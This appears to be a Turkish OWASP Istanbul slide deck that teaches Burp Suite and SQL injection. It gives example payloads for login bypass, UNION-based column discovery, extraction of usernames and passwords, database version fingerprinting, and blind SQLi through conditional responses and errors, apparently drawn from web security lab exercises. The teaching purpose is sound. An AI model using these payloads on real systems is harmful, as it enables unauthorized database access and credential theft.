Burp Suite SQL Injection Attack | OWASP Istanbul

@owaspistanbul - rumeysabozdemir@gmail.com

RUMEYSA BOZDEMİR
• Computer Programming - Associate Degree
• Management Information System - Bachelor’s Degree
• ITIL 4 Foundation Certificate in IT Service Management
• ISO27001 LA - CQI|IRCA
• C|EH - EC - Council
• IT Expertise – BEM
• Cyber Security Specialist – TUBITAK
• OWASP Chapter Leaders - Istanbul

OWASP
• Kar amacı gütmeyen ve yazılım güvenliğini artırmak için çalışan bir
kuruluştur.
• Yaklaşık 20 yıldır hizmet vermektedir.
• Açık kaynak yazılım projeleri
• Yüzlerce yerel bölüm
• On binlerce üye
• Eğitim / Konferans

OWASP
@owaspistanbul
@rumeysabzdmr
@owaspistanbul

OWASP INFO
• Burp Suite Nedir?
• Burp Suite Nasıl Kullanılır?
• SQL Injection Zafiyeti Nedir?
• SQL Injection Zafiyetinin Etkileri Nedir?
• Sql Injectıon Örnekleri
• WHERE ile Gizli Verileri Çekme
• Login Bypass Etme
• UNION Attack ile Sütun Sayısı Döndürme
• UNION Attack ile Metin İçeren Sütun Bulma
• UNION Attack ile Tablodan Veri Çekme
• UNION Attack ile Bir Sütuna Birden Fazla Veri
Çekme
• Oracle Veritabanından Versiyon Öğrenme
• MySQL ve Microsoft Veritabanı ve Versiyon Bilgisini
Çekme
• Oracle Dışındaki Veritabanlarında SQLi Saldırıları
• Oracle Veritabanlarında SQLi Saldırıları
• Koşullu Yanıtlar İle Blind SQLi Zafiyeti
• Koşullu Sorgularda Hataları Yorumlayarak Blind SQLi
Sömürme

OWASP | BURP SUITE NEDİR?
• JAVA dilinde yazılmıştır.
• Web Proxy uygulamasıdır.
• Web uygulama testlerinde kullanılır.

OWASP | BURP SUITE NASIL KULLANILIR?
https://portswigger.net/

OWASP | BURP SUITE NASIL KULLANILIR?
• Uygulama için ihtiyacımız olanlar;
• Burp Suite Community Edition
• https://portswigger.net/burp/communitydownload
• Kali Linux ya da Windows OS
• https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

OWASP | PROXY AYARI

OWASP | SQL INJECTION ZAFİYETİ
NEDİR?
• SQL injection (SQLi), bir uygulamanın veritabanı ile iletişimi esnasında
birtakım teknikleri kullanarak sorgulara müdahale etme işlemidir.
• Son kullanıcının görmemesi gereken, bilmemesi gereken ya da
erişmemesi gereken bilgilere erişme durumudur.

OWASP | SQL INJECTION ZAFİYETİNİN
ETKİLERİ NEDİR?
• İllegal şekilde yayılma,
• Dark Web satış,
• Parola,
• Kredi kartı bilgileri,
• Kişisel veriler,
• Backdoor

OWASP | SQL INJECTION ÖRNEKLERİ
• Gizli Verileri Çekme
• Uygulama Mantığını Alt Üst Etme
• UNION Saldırıları
• Kullanılan Veritabanını İnceleme
• Blind SQL Injection

OWASP | WHERE İLE GİZLİ VERİLERİ
ÇEKME
• SQL sorgusu yaparken;
• SELECT, DELETE, UPDATE ve INSERT gibi değerler kullanılır.
• WHERE değeri ile de tablodaki hangi sütundan veri çekilecek ise o
belirtilir ve sorgular istenilen veriye/bilgiye göre şekillendirilir.
ÖRNEK KULLANIM
• SELECT * FROM products WHERE category = ''' AND released = 1

OWASP | LOGIN BYPASS ETME
• Oturum değişkenlerine müdahale,
• Texboxlara direkt komut yazma,
ÖRNEK KULLANIM
• Or, AND
• =, --
• ‘ , (, / vb.

OWASP | UNION ATTACK İLE SÜTUN
SAYISI DÖNDÜRME
ÖRNEK KULLANIM
• UNION SELECT NULL, NULL—
• ORDER BY 1--

OWASP | UNION ATTACK İLE METİN
İÇEREN SÜTUN BULMA
ÖRNEK KULLANIM
• UNION SELECT NULL, ‘bilisimcikiz’, NULL--

OWASP | UNION ATTACK İLE
TABLODAN VERİ ÇEKME
ÖRNEK KULLANIM
• UNION SELECT username, password FROM users--

OWASP | UNION ATTACK İLE BİR
SÜTUNA BİRDEN FAZLA VERİ ÇEKME
ÖRNEK KULLANIM
• UNION SELECT NULL, username||'*'||password FROM users--

OWASP | ORACLE VERİTABANINDAN
VERSİYON ÖĞRENME
ÖRNEK KULLANIM
• UNION SELECT banner, 'bilisimcikiz’ FROM v$version--

OWASP | MYSQL VE MICROSOFT
VERİTABANI VE VERSİYON BİLGİSİNİ
ÇEKME
ÖRNEK KULLANIM
• UNION SELECT @@version NULL#

OWASP | ORACLE DIŞINDAKİ
VERİTABANLARINDA SQLi
SALDIRILARI
ÖRNEK KULLANIM
• UNION SELECT username_tqsccf, password_iolsok from
users_jowqzh--

OWASP | ORACLE
VERİTABANLARINDA SQLi
SALDIRILARI
ÖRNEK KULLANIM
• UNION SELECT PASSWORD_LBIELG, USERNAME_AMLAPI FROM
USERS_MGQWPY--

OWASP | KOŞULLU YANITLAR İLE
BLIND SQLi ZAFİYETİ
ÖRNEK KULLANIM
• and (select username from users where username='administrator'
and LENGTH(password)>19)='administrator'--

OWASP | KOŞULLU SORGULARDA
HATALARI YORUMLAYARAK BLIND
SQLi SÖMÜRME
ÖRNEK KULLANIM
• UNION SELECT CASE WHEN (username='administrator') THEN
to_char(1/0) ELSE NULL END FROM users--

OWASP

KAYNAKLAR
• https://portswigger.net/burp/communitydownload
• https://portswigger.net/web-security/file-upload

Burp Suite SQL Injection Attack | OWASP Istanbul

Recommended

Recommended

More Related Content

Featured

Featured (20)

Burp Suite SQL Injection Attack | OWASP Istanbul